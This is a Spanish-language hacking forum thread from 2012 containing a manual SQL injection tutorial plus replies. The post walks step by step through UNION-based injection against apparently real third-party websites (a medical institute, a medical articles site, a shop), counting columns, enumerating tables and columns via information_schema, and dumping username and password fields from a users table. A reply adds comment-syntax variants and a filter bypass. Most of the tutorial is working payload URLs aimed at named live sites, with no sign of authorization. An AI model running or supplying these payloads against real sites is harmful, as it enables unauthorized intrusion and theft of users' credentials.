Tutorial Sqli Manual By Okol

Iniciado por Okol, Mayo 20, 2012, 08:51:16 PM

Tema anterior - Siguiente tema

0 Miembros y 6 Visitantes están viendo este tema.

Mayo 20, 2012, 08:51:16 PM Ultima modificación: Mayo 22, 2012, 01:05:42 PM por Okol/Ay4x
Hola amigos me ezforze mucho escribiendo este tuto para uds espero les guste :)
Saludos

Sqli Manual

en este caso una variable aki viene siendo

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5


la variable id resultado de la variable 5un ejemplo

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google&a=b


vendrian siendo las variables
id
ref
co
a

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d&cos=sss 


si queeremos comprobar que la variable g es vulnerable donde pondriamos la comilla?

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d'&cos=sss


cuando verifiques si una variable es vulnerable pruebas asi:
Código: php
http://gogo.com/index.php?var=vuln' y http://gogo.com/index.php?var='vuln

de las dos maneras pruebas

para saber cuantas columnas tiene podemos poner

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+6

si ponemos
Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+7

sale ke no existe pero con 6 sale bien quiere decir que tiene 6
columnas

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,


salta normal

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,7

salta error quiere decir que es la 6

notA: una injeccion siempre deve tener -- al final ejemplo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

tambien se puede hacer

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5--


(Desde el 1 al 6 o desde 0 al 5) es lo mismo

Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable
ejemplo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale
salen los numeros 4 3 y 6

Cada numero esta involucrado en la injeccion

Código: php
ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,5,--

saldrian 5 3 2

esos numeros estan haciendo querys ala db

con este comando database()

se saca el nombre de la db
Como?

sustituimos un numero ke imprime 5 3 o 2 ejemplo

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,database()--


para ver la version de PHP enves de poner database()

se pone version()

(en otro numero que imprima en estecaso 2) ejemplo

Código: php
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,version(),3,4,5--


Para sacar las tablas...

cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de
information_schema.tables


y cuando sea de columnas

information_schema.colums

si queremos sacar las columnas la url seria asi

Código: php
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,column_name,3,4,5,6+FROM+information_schema.columns--


y las tablas

Código: php
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,table_name,3,4,5,6+FROM+information_schema.tables--


en algunos casos nos sale solo 1 tabla para ir sabiendo mas tablas

aplicamos LIMIT+1+1--
LIMIT+2+1-- asi succesivamente

Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+4,1--



ya que sacamos las tablas encontramos la tabla usuarios users o algo asi

Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+49,1--


ya tenemos eso ahora que hacemos?
encriptamos la tabla en ascii to hex
les recomiendoe sta web para encryptarlo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos
information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios)
y el limit lo ponemos en 1,1
Quedaria algo asi

Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.columns+where+table_name=0x7573657273+LIMIT+1,1--


ven la url? nos tira username ahora moveremos el 1,1 asi 2,1 3,1 sucesivamente hasta que salga pass o algo parecido

Ahora borramos hasta que quede la injeccion normal algo asi

Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+


donde dice from+ le ponemos el nombre de la tabla (users) quedaria asi

Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--


cambiamos el column_name por el nombre de la columna que queremos ejemplo

Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--


Código: php
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--


Si tienen dudas ami privado amigos
Gracias Dedalo - me enseño como :)
Saludos ;)
Underc0de Manager!

Es muy paresido a la inyeccion sql que yo se. Pero hay muchas formas de hacerlo y con todas llegas al mismo resultado
Muchas gracias por compartirlo!
Saludos,, Cronos.-

Si cronos para mi me gusta esta forma de hacerlo se que hay mas pero
mientras no usen tools cualquier forma de sqli manual es buena
Saludos BRO!
Underc0de Manager!

Excelente aporte man!
Lo que mas vale, es que lo hiciste tu!

Segui asi Okol!

Saludos!


Si bro la verdad me ezforze pero lo ise desde 0
Gracias x sus comentarios
SALUDOS
Underc0de Manager!

Muy bueno okol pero no me fastidiarían los gr33tz bro... tu sabes a que me refiero ¬¬


Saludos,
Dedalo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

claro hermano disculpa ya te pongo :$ tu me enseñaste todo jajaja
Underc0de Manager!

Excelente tutorial 8) . Felicitaciones Okol

Okol una cosa que note. Cuando dices "..  (Desde el 1 al 5 o desde 0 al 6) es lo mismo .." No seria (Desde el 1 al 6 o desde 0 al 5)?
Saludos,, Cronos.-

siiii disculpa del 1 al 6 o del 0 al 5 disculpame hermano ya lo corrijo esque no lo habia leido bien antes e postear
Underc0de Manager!

Te complemento okol... Quizas debes especificar y/o aclarar mas lo de los comentarios al final de la injection SQL... porque en los ejemplos en donde aplicas el order by no pusiste los comentarios!!!

Le puedes añadir a tu post otros posibles comentarios como en vez de "--"  /* y en ves de "+" /**/
porque aveces pasa que con un comentario funciona y con otro no...

Tambien le puedes añadir una forma de bypass, ya que aveces al iniciar poniendo ej:

www.site.com/index.php?id=1+order+by+9999--

Puede que no te muestre nada...

Una forma de bypass seria:

www.site.com/index.php?id=1'+order+by+20--+-


Bno, solo digo eso por complementar...!!!


SALu2

Si se puede imaginar... se puede programar.!


Está bien que lo hiciste tú y no vengo más que a decirte que realmente dan dolor de ojos algunos errores ortográficos, realmente deberías esmerarte más en esa parte porque le quita presentación y seriedad.

Saludos.

Se agradece el tiempo y dedicación por tratar de ser explicito en tu explicación, muy interesante y sirve para complementar mucho lo ya aprendido gracias al foro.

Gracias (Y)